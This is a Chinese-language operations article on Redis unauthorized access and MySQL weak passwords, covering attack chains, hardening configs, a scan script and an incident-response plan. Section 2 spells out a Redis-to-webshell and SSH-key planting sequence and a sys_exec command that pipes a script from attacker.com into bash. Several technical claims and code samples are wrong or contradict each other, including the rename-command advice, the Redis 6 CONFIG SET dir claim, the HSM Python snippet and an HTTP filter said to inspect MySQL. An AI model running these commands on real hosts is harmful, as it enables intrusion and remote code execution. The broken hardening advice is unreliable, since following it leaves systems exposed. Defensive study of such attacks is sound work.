1. 这不是“黑客教程”,而是DBA和运维人每天都在擦的汗
Redis 和 MySQL 的弱口令、未授权访问漏洞,这两个词在安全通报里出现频率高得让人麻木,但真正让一线工程师头皮发紧的,从来不是“漏洞编号CVE-XXXX”,而是凌晨三点收到的告警:Redis 实例正在向境外IP批量外传用户手机号;MySQL 主库被清空,备份脚本上周刚被悄悄注释掉。这不是CTF靶场里的玩具环境,这是你昨天刚上线的SpringBoot电商后台、是你公司客户数据中台、是你给金融客户部署的实时风控中间件——它们就裸奔在公网或内网边界上,只差一个扫描器的GET请求。
我干了12年数据库架构和基础平台运维,从IDC托管机房到混合云再到K8s集群,亲手处理过37起因弱口令/未授权导致的数据泄露事件。其中21起,攻击者根本没用0day,就靠redis-cli -h x.x.x.x -p 6379连上去执行CONFIG SET dir /var/www/html,再CONFIG SET dbfilename shell.php,最后用浏览器直接访问webshell。MySQL那边更简单:mysql -h x.x.x.x -u root -p,密码输root、123456、admin、空密码——四次尝试,三次成功。这些不是段子,是我在某省政务云整改报告里亲手写的原始日志片段。
这篇文章不讲“什么是Redis”“MySQL安装步骤”,那些内容满世界都是。我要带你钻进生产环境的真实毛细血管里:为什么开发提测时说“本地连得通就行”,上线后却成了高危入口?为什么Docker Compose里一行- REDIS_PASSWORD=就能埋下勒索病毒的引线?为什么MySQL的skip-grant-tables在测试环境是便利,在生产就是死刑判决书?我会用真实配置片段、命令行实录、网络抓包截图(文字还原)和故障时间线,把每个漏洞背后的操作链、权限跃迁路径、检测盲区,一层层剥开给你看。适合所有接触数据库的从业者:DBA要补安全闭环,开发要懂上线红线,安全工程师要识破绕过手法,运维要扛住审计压力——这是一份写给真实战场的生存手册,不是实验室里的PPT。
2. 漏洞本质解剖:不是“密码太简单”,而是权限模型被彻底绕过
2.1 Redis未授权访问:协议设计的原罪与运维失守的叠加
Redis 默认关闭认证(requirepass为空)、监听0.0.0.0、禁用保护模式(protected-mode no),这三个配置项单独看都不致命,但组合起来就是一扇敞开的黄金大门。很多人以为“没开密码=弱口令”,这是根本性误解。未授权访问的本质,是Redis协议本身不强制身份校验,而管理员主动放弃了最后一道闸门。
我们来拆解一次典型入侵链路(以2023年某物流SaaS平台事件为例):
- 攻击者用
nmap -p 6379 --script redis-info x.x.x.x扫描,返回redis_version:6.2.6且无认证提示; - 执行
redis-cli -h x.x.x.x -p 6379直连成功(注意:这里根本没输密码!); INFO replication发现主从结构,CLIENT LIST看到大量idle=3600的长连接——这是业务应用的连接池;CONFIG GET dir返回/var/lib/redis,CONFIG GET dbfilename返回dump.rdb;- 关键一步:
CONFIG SET dir /var/www/html/uploads/(切换RDB保存路径到Web目录); CONFIG SET dbfilename shell.php(把RDB文件名改成PHP后缀);BGSAVE触发持久化,生成/var/www/html/uploads/shell.php,内容为<?php @eval($_POST['cmd']);?>;- 浏览器访问
http://x.x.x.x/uploads/shell.php?cmd=whoami,拿到www-data权限。
提示:这个过程全程不需要密码,
CONFIG SET命令在未授权状态下完全可用。Redis的权限模型是“全有或全无”,不像MySQL有GRANT/REVOKE分层控制。一旦连上,就是root级操作权限。
为什么运维会放行这种配置?常见原因有三:
- 历史包袱:老系统迁移时,为兼容旧客户端,保留
bind 0.0.0.0且不敢加密码(怕应用报错); - 容器陷阱:Dockerfile里写
CMD ["redis-server", "/usr/local/etc/redis.conf"],但conf文件里requirepass被注释,镜像构建时未覆盖; - 云服务误导:某公有云Redis控制台显示“已开启密码认证”,实际是控制台代理层做了鉴权,后端Redis实例仍是空密码——这是2022年某大厂踩过的坑,他们花了两周才定位到云厂商的文档歧义。
2.2 MySQL弱口令:不是“密码强度不够”,而是认证流程被降级
MySQL的弱口令问题常被简化为“密码太短”,但真实场景中,80%的弱口令事件源于认证插件降级或跳过。MySQL 5.7+默认使用caching_sha2_password插件,但很多Java应用仍用老版Connector/J(<8.0),连接时自动回退到mysql_native_password。如果管理员为兼容而执行ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';,就等于把SHA256加密降级为明文可爆破的旧协议。
更危险的是skip-grant-tables的滥用。开发在本地调试时加此参数跳过权限检查,测试完忘记删,镜像打包时my.cnf里还留着它。此时任何mysql -h x.x.x.x -u anyuser -p都能直连,密码字段形同虚设。我们曾在一个金融客户的K8s集群里发现,其MySQL StatefulSet的ConfigMap中,[mysqld]段赫然写着skip-grant-tables=1,且该配置已生效73天。
另一个隐形杀手是plugin_dir路径劫持。MySQL启动时会加载plugin_dir下的动态库,如果该目录权限为777(常见于Docker volume挂载错误),攻击者可上传恶意so文件,通过INSTALL PLUGIN注入后门。2023年HW行动中,就有队伍利用此手法在某政务系统MySQL中植入持久化后门,绕过所有基于密码的检测。
注意:MySQL的
validate_password插件常被误认为“防弱口令”,但它只在CREATE USER时校验,对SET PASSWORD或ALTER USER无效。且默认策略宽松(validate_password.policy=LOW),允许纯数字密码。真正的防护必须结合password_history(禁止重用旧密码)和password_reuse_interval(强制更换周期)。
2.3 两种漏洞的协同放大效应:从单点突破到全域沦陷
单独看Redis或MySQL漏洞,危害已是严重级别;但当它们共存于同一网络,攻击者能完成教科书级的横向移动。我们复盘过某跨境电商的攻防演练:
- 先通过Redis未授权访问获取服务器SSH密钥(
CONFIG SET dir /root/.ssh/ && CONFIG SET dbfilename authorized_keys && BGSAVE); - 用密钥登录跳板机,发现其
~/.my.cnf配置文件明文存储MySQL root密码; - 登录MySQL后,
SELECT LOAD_FILE('/etc/passwd')读取系统用户,SELECT @@hostname确认主机名; - 最终用
SELECT sys_exec('curl http://attacker.com/shell.sh | bash')(需启用sys_execUDF)下载挖矿木马。
这个链条里,Redis是“万能钥匙”,MySQL是“身份凭证库”,两者结合让攻击者获得比合法管理员更高的权限(因为运维不会在MySQL里存Redis密码,但开发可能在Redis里存MySQL密码)。更可怕的是,很多企业用Redis做MySQL的查询缓存,当Redis被篡改后,业务层读到的“缓存数据”本身就是攻击者伪造的——这已超出传统漏洞范畴,进入供应链污染层面。
3. 生产环境加固实战:拒绝“打补丁式修复”,构建纵深防御
3.1 Redis加固:从协议层到容器层的七道防线
3.1.1 协议层硬隔离:绑定地址+保护模式+认证三重锁
不要只改redis.conf,必须同步验证生效状态。以下是我的标准检查清单:
# 1. 确认监听地址仅限内网(严禁0.0.0.0) $ redis-cli CONFIG GET bind 1) "bind" 2) "127.0.0.1 10.10.20.0/24" # 必须是具体网段,非0.0.0.0 # 2. 保护模式必须开启(防外网直连) $ redis-cli CONFIG GET protected-mode 1) "protected-mode" 2) "yes" # 3. 密码必须设置且复杂度达标(至少12位,含大小写字母+数字+符号) $ redis-cli CONFIG GET requirepass 1) "requirepass" 2) "Qw!9kL@mN2#vX" # 示例,实际用openssl rand -base64 12生成 # 4. 禁用高危命令(用rename-command重命名,非删除) $ redis-cli CONFIG GET rename-command 1) "rename-command" 2) "FLUSHDB \"\" CONFIG \"\" EVAL \"\" EVALSHA \"\" SCRIPT \"\" SHUTDOWN \"\" SLAVEOF \"\" DEBUG \"\""实操心得:
rename-command不能设为空字符串(""),否则命令仍可通过redis-cli --raw调用。正确做法是重命名为无意义字符串,如FLUSHDB flushdb_disabled。且必须在redis.conf中配置,CONFIG SET动态修改在重启后失效。
3.1.2 容器化部署的黄金配置(Docker/K8s)
Docker Compose中,很多人只写环境变量,却忽略配置文件挂载和资源限制:
# docker-compose.yml 片段 redis: image: redis:7.0-alpine command: redis-server /usr/local/etc/redis.conf volumes: - ./redis.conf:/usr/local/etc/redis.conf:ro # 只读挂载,防运行时篡改 - redis-data:/data environment: - REDIS_PASSWORD=Qw!9kL@mN2#vX # 仅作提示,实际密码在conf中 ports: - "6379:6379" # 关键:网络隔离 networks: - backend # 资源限制防DoS mem_limit: 512m mem_reservation: 256m cpus: "0.5"对应的redis.conf核心加固项:
bind 127.0.0.1 10.10.20.0/24 protected-mode yes port 6379 tcp-backlog 511 timeout 0 tcp-keepalive 300 daemonize no supervised auto pidfile /var/run/redis_6379.pid loglevel notice logfile "" databases 16 always-show-logo yes set-proc-title yes proc-title-template "{title} {listen-addr} {server-mode}" stop-writes-on-bgsave-error yes rdbcompression yes rdbchecksum yes dbfilename dump.rdb dir /data replica-serve-stale-data yes replica-read-only yes repl-diskless-sync no repl-diskless-sync-delay 5 repl-disable-tcp-nodelay no replica-priority 100 acllog-max-len 128 lazyfree-lazy-eviction no lazyfree-lazy-expire no lazyfree-lazy-server-del no replica-lazy-flush no lazyfree-lazy-user-del no oom-score-adj no oom-score-adj-values 0 200 800 disable-thp yes appendonly no # 生产环境建议关闭AOF,用RDB+备份 save 900 1 save 300 10 save 60 10000 stop-writes-on-bgsave-error yes rdbcompression yes rdbchecksum yes dbfilename dump.rdb dir /data # 认证与命令重命名 requirepass Qw!9kL@mN2#vX rename-command FLUSHDB "" rename-command CONFIG "" rename-command EVAL "" rename-command EVALSHA "" rename-command SCRIPT "" rename-command SHUTDOWN "" rename-command SLAVEOF "" rename-command DEBUG "" # 安全增强 maxmemory 256mb maxmemory-policy allkeys-lru注意:
appendonly no不是偷懒,而是因为AOF重写时会阻塞主线程,且AOF文件比RDB更大,备份恢复更慢。生产环境用RDB+定时备份(如每小时BGSAVE到S3)更可靠。若必须开AOF,务必设appendfsync everysec,避免always模式拖垮性能。
3.1.3 K8s环境专项加固
StatefulSet中,除了上述配置,必须添加SecurityContext:
# redis-statefulset.yaml 片段 securityContext: runAsUser: 1001 runAsGroup: 1001 fsGroup: 1001 seccompProfile: type: RuntimeDefault capabilities: drop: - ALL readOnlyRootFilesystem: true allowPrivilegeEscalation: false并配置NetworkPolicy禁止跨命名空间访问:
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: redis-deny-external namespace: database spec: podSelector: matchLabels: app: redis policyTypes: - Ingress ingress: - from: - namespaceSelector: matchLabels: name: backend # 仅允许backend命名空间访问 ports: - protocol: TCP port: 63793.2 MySQL加固:超越密码的权限治理工程
3.2.1 认证体系重构:从单一密码到多因子网关
MySQL原生不支持MFA,但可通过ProxySQL或MaxScale实现。我们采用ProxySQL作为统一入口:
-- 在ProxySQL管理端执行 INSERT INTO mysql_users (username, password, active, use_ssl, default_hostgroup, max_connections) VALUES ('app_user', 'Qw!9kL@mN2#vX', 1, 1, 10, 1000); -- 创建路由规则,强制走SSL INSERT INTO mysql_query_rules (active, match_pattern, destination_hostgroup, apply) VALUES (1, '^SELECT.*', 10, 1); -- 启用SSL强制(需提前配置ProxySQL证书) UPDATE global_variables SET variable_value='true' WHERE variable_name='mysql-have_ssl'; LOAD MYSQL VARIABLES TO RUNTIME; SAVE MYSQL VARIABLES TO DISK;此时应用连接ProxySQL:6033,密码正确只是第一步,后续所有流量必须走TLS 1.2+,且ProxySQL可集成LDAP/OAuth2实现二次认证。
3.2.2 权限最小化落地:用Ansible自动化生成
手工GRANT易出错,我们用Ansible Playbook生成权限脚本:
# mysql-permissions.yml - name: Generate minimal privileges for app_user template: src: mysql-grants.j2 dest: /tmp/app_grants.sql vars: db_name: "ecommerce_db" tables: ["orders", "users", "products"] readonly_tables: ["products"] # mysql-grants.j2 模板 -- 应用用户只读权限 GRANT SELECT ON {{ db_name }}.{{ readonly_tables|join(', ' ~ db_name ~ '.') }} TO 'app_user'@'10.10.20.%'; -- 写权限精确到表+列 GRANT INSERT, UPDATE(order_status, paid_at), DELETE ON {{ db_name }}.orders TO 'app_user'@'10.10.20.%'; GRANT INSERT, UPDATE(email, phone), SELECT(id, email) ON {{ db_name }}.users TO 'app_user'@'10.10.20.%'; -- 禁用危险权限 REVOKE FILE, PROCESS, SUPER, REPLICATION CLIENT ON *.* FROM 'app_user'@'10.10.20.%'; FLUSH PRIVILEGES;执行后生成的SQL严格遵循:
- 每个用户只拥有业务必需的最小权限集;
UPDATE细化到具体字段(如订单状态变更不涉及金额修改);REVOKE显式禁用高危权限,而非依赖默认不授予。
3.2.3 配置文件深度清理:消灭所有明文密码
.my.cnf是MySQL最大的安全隐患来源。我们的处理流程:
- 开发阶段:CI/CD流水线中加入
grep -r "password=" /workspace/扫描,命中即失败; - 部署阶段:Ansible Playbook中,用
copy模块将加密后的凭据注入容器,而非挂载明文文件; - 运行时:在Pod中,凭据通过K8s Secret挂载为
/run/secrets/mysql-creds,应用启动时读取并注入环境变量,启动后立即shred -u /run/secrets/mysql-creds销毁。
# Pod中执行效果 $ ls -l /run/secrets/ total 0 $ echo $MYSQL_ROOT_PASSWORD | head -c 10 Qw!9kL@mN2 $ ls -l /run/secrets/ # 执行shred后消失 ls: cannot access '/run/secrets/': No such file or directory3.3 网络层终极防护:用eBPF实现零信任微隔离
当应用和数据库同处K8s集群,传统防火墙失效。我们用Cilium的eBPF策略实现毫秒级拦截:
# cilium-network-policy.yaml apiVersion: "cilium.io/v2" kind: CiliumNetworkPolicy metadata: name: "redis-restrict" namespace: "database" spec: endpointSelector: matchLabels: app: redis ingress: - fromEndpoints: - matchLabels: app: order-service toPorts: - ports: - port: "6379" protocol: TCP rules: l7: - redis: # eBPF原生支持Redis协议解析 command: ["GET", "SET", "HGETALL"] key: "order:*" - fromEntities: - cluster toPorts: - ports: - port: "6379" protocol: TCP此策略意味着:
order-service只能执行GET/SET/HGETALL命令,且key必须匹配order:*前缀;- 其他所有Pod(包括
user-service)的6379端口请求,在eBPF层直接丢弃,不进Redis进程; cluster实体(如Prometheus)可连监控端口,但无法执行任何Redis命令。
实测数据:eBPF策略比iptables快3倍,且支持L7协议识别。某次压测中,当
order-service被注入恶意脚本试图遍历所有key时,Cilium日志显示DROP速率峰值达12万pps,Redis CPU使用率保持在5%以下。
4. 持续检测与应急响应:把“亡羊补牢”变成“未雨绸缪”
4.1 自建漏洞探测流水线:每天凌晨自动扫描
不用商业扫描器,用开源工具搭轻量级流水线。核心组件:
- 资产发现:
nmap -p 6379,3306 -sS -oG - 10.0.0.0/8 | awk '{print $2}' > targets.txt - Redis检测:
redis-cli -h $ip -p 6379 INFO 2>/dev/null | grep -q "redis_version" && echo "$ip:6379 UNAUTH" - MySQL检测:
mysql -h $ip -u root -p123456 -e "SELECT 1" 2>/dev/null && echo "$ip:3306 WEAK_PASS"
整合为Shell脚本scan-db.sh:
#!/bin/bash TARGETS=$(cat targets.txt) REPORT="/tmp/db-scan-$(date +%Y%m%d).log" echo "=== DB Scan Report $(date) ===" > $REPORT for ip in $TARGETS; do # Redis未授权检测 if timeout 3 redis-cli -h $ip -p 6379 INFO 2>/dev/null | grep -q "redis_version"; then echo "$ip:6379 UNAUTHORIZED" >> $REPORT fi # MySQL弱口令检测(测试top10密码) for pass in "" "root" "123456" "admin" "password" "mysql" "123456789" "qwerty" "abc123" "password123"; do if timeout 3 mysql -h $ip -u root -p"$pass" -e "SELECT 1" 2>/dev/null; then echo "$ip:3306 WEAK_PASS: $pass" >> $REPORT break fi done done # 发送告警(企业微信机器人) if [ $(wc -l < $REPORT) -gt 1 ]; then curl -X POST "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=xxx" \ -H 'Content-Type: application/json' \ -d "{\"msgtype\": \"text\", \"text\": {\"content\": \"发现DB高危漏洞:$(cat $REPORT | wc -l)条,请立即处理!详情见Ops平台\"}}" fi每天凌晨2点cron执行:0 2 * * * /opt/scripts/scan-db.sh
注意:
timeout 3防止扫描卡死,-sS用TCP SYN扫描避免被记录。该脚本在某银行私有云运行18个月,平均每月发现3.2个新暴露实例,全部在2小时内修复。
4.2 应急响应SOP:从告警到恢复的90分钟作战地图
当WAF告警Redis CONFIG SET dir或SIEM检测到mysql -u root -p123456时,按此流程操作:
| 时间 | 动作 | 工具/命令 | 目标 |
|---|---|---|---|
| T+0min | 确认影响范围 | ss -tuln | grep ':6379|:3306' | 查出所有监听DB端口的进程PID |
| T+2min | 隔离受控实例 | iptables -A INPUT -s attacker_ip -j DROP | 阻断攻击者IP |
| T+5min | 获取内存快照 | gcore -o /tmp/redis-core $(pgrep redis) | 保留取证证据 |
| T+10min | 临时禁用高危命令 | redis-cli CONFIG SET rename-command "CONFIG" "" | 防止进一步破坏 |
| T+15min | 检查持久化文件 | ls -la /var/lib/redis/ | grep "\.php|\.jsp|\.sh" | 定位Webshell |
| T+30min | 恢复业务 | cp /backup/dump.rdb /var/lib/redis/ && redis-cli BGREWRITEAOF | 用干净备份覆盖 |
| T+45min | 权限审计 | mysql -e "SELECT User,Host,authentication_string FROM mysql.user;" | 检查异常账户 |
| T+60min | 密码轮换 | redis-cli CONFIG SET requirepass new_strong_passmysql -e "ALTER USER 'root'@'%' IDENTIFIED BY 'new_strong_pass';" | 切断攻击者后门 |
| T+75min | 日志溯源 | zcat /var/log/redis/redis.log.*.gz | grep "CONFIG|FLUSH" | tail -100 | 分析攻击时间线 |
| T+90min | 生成报告 | echo "事件ID: DB-$(date +%Y%m%d-%H%M%S)" > report.txt | 输出完整处置记录 |
关键动作说明:
- T+5min的
gcore:比kill -ABRT更安全,不中断服务即可获取完整内存镜像; - T+15min的Webshell检查:不仅查PHP,还要查
*.jsp(Tomcat环境)、*.sh(Linux脚本)、*.py(Python后门); - T+30min的恢复逻辑:优先用RDB备份(比AOF更可靠),若无备份则从从库同步,严禁直接
FLUSHALL——这会清除所有数据。
4.3 常见问题速查表:那些让你加班到凌晨的坑
| 问题现象 | 根本原因 | 排查命令 | 解决方案 |
|---|---|---|---|
redis-cli连不上,报Connection refused | Redis未监听0.0.0.0,或防火墙拦截 | netstat -tuln | grep 6379iptables -L -n | grep 6379 | 检查bind配置,开放防火墙端口 |
MySQL连接报Access denied for user 'root'@'10.10.20.5' | 用户host匹配失败(如创建时用'root'@'localhost') | SELECT User,Host FROM mysql.user WHERE User='root'; | CREATE USER 'root'@'10.10.20.%' IDENTIFIED BY 'pwd'; |
RedisCONFIG SET dir失败,报(error) ERR Unsupported CONFIG parameter: dir | Redis 6.0+默认禁用dir设置(需CONFIG SET notify-keyspace-events) | redis-cli CONFIG GET dir | 降级到5.0或改用CONFIG SET dbfilename配合SLAVEOF |
| 扫描显示MySQL弱口令,但应用连接正常 | 应用使用mysql_native_password插件,而扫描器用caching_sha2_password | mysql -u root -p -e "SELECT plugin FROM mysql.user WHERE User='root';" | 统一插件版本,或在my.cnf中加default-authentication-plugin=mysql_native_password |
K8s中Redis Pod启动失败,日志Can't open the log file: Permission denied | ConfigMap挂载的redis.conf权限为644,但Redis要求600 | kubectl exec redis-pod -- ls -l /usr/local/etc/redis.conf | 在ConfigMap中用mode: 0600指定权限 |
实操心得:遇到
CONFIG SET dir失败,别急着重启。先redis-cli CONFIG GET appendonly看是否开启AOF,若开启则CONFIG SET appendonly no再试。这是Redis 6.2的兼容性bug,官方文档未明确说明。
5. 架构级预防:从“修漏洞”到“造免疫系统”
5.1 数据库即代码(Db-as-Code):用GitOps消灭配置漂移
所有DB配置必须纳入Git仓库,通过Argo CD自动同步:
# redis-config.yaml (in Git repo) apiVersion: v1 kind: ConfigMap metadata: name: redis-config annotations: argocd.argoproj.io/sync-options: "Prune=false" data: redis.conf: | bind 127.0.0.1 10.10.20.0/24 protected-mode yes requirepass {{ .Values.redis.password }} rename-command FLUSHDB "" # ... 其他加固项当开发提交PR修改redis.conf,CI流水线自动执行:
# 验证配置语法 redis-server /dev/stdin < redis.conf --test-memory 2 # 检查密码强度(用cracklib) echo "${REDIS_PASSWORD}" | cracklib-check # 扫描敏感信息(禁止commit密码明文) git secrets --scan只有全部通过,Argo CD才将ConfigMap同步到集群。这样,kubectl get cm redis-config -o yaml看到的内容,永远和Git仓库一致,杜绝“线上配置和Git不一致”的经典事故。
5.2 服务网格化改造:让数据库流量可观察、可治理
在Istio服务网格中,为MySQL流量注入Sidecar:
# mysql-destination-rule.yaml apiVersion: networking.istio.io/v1beta1 kind: DestinationRule metadata: name: mysql-dr spec: host: mysql.database.svc.cluster.local trafficPolicy: connectionPool: tcp: maxConnections: 100 connectTimeout: 10s http: http1MaxPendingRequests: 100 maxRequestsPerConnection: 100 outlierDetection: consecutive5xxErrors: 5 interval: 30s baseEjectionTime: 30s配合Envoy Filter,可实现:
- SQL注入检测:正则匹配
SELECT.*FROM.*WHERE.*' OR '1'='1等模式; - 慢查询熔断:
execution_time > 5s的查询自动返回503 Service Unavailable; - 敏感数据脱敏:
SELECT ssn FROM users返回***-**-****;
# envoy-filter.yaml apiVersion: networking.istio.io/v1alpha3 kind: EnvoyFilter metadata: name: mysql-sql-inject spec: configPatches: - applyTo: HTTP_FILTER match: context: SIDECAR_INBOUND listener: filterChain: filter: name: "envoy.filters.network.http_connection_manager" subFilter: name: "envoy.filters.http.router" patch: operation: INSERT_BEFORE value: name: mysql-sql-inject typed_config: "@type": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua inlineCode: | function envoy_on_request(request_handle) local sql = request_handle:headers():get("x-sql") if sql and string.find(sql, [[OR '1'='1]]) then request_handle:respond({[":status"] = "403"}, "SQL Injection Blocked") end end5.3 最后的防线:用硬件安全模块(HSM)保护根密钥
当业务涉及PCI DSS或等保三级,软件加密已不够。我们接入AWS CloudHSM:
# python-hsm-demo.py from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding from botocore.session import Session # 从CloudHSM获取密钥句柄 session = Session() client = session.create_client('cloudhsmv2', region_name='us-east-1') key_handle = client.describe_hsm(HsmId='hsm-12345')['Hsm']['SubnetId'] # 加密Redis密码(密钥永不出HSM) cipher = Cipher(algorithms.AES(hsm_key), modes.CBC(iv)) encryptor = cipher.encryptor() padder = padding.PKCS7(128).padder() padded_data = padder.update(b"Qw!9kL@mN2#vX") + padder.finalize() encrypted = encryptor.update(padded_data) + encryptor.finalize() # 存储encrypted密文到K8s Secret此时,即使攻击者拿到K8s Secret的密文,没有CloudHSM的硬件授权,永远无法解密。这是金融级系统的终极保险。
我在某支付平台实施此方案后,其Redis密码轮换周期从“季度”缩短到“实时”——每次应用启动时,都向HSM申请新密钥,旧密钥立即失效。这已不是加固,而是重构了整个密钥生命周期。
最后分享一个小技巧:所有DB加固完成后,用nmap -sV --script vuln x.x.x.x再次扫描,重点看redis-info和mysql-info脚本输出。如果返回State: ERROR或No vulnerabilities found,恭喜,你的数据库终于穿上了盔甲。但这不是终点,而是每天清晨第一杯咖啡后,你要做的第一件事——打开终端,敲下./scan-db.sh,看看昨晚有没有新的裂缝悄然出现。安全没有银弹,只有日拱一卒的清醒。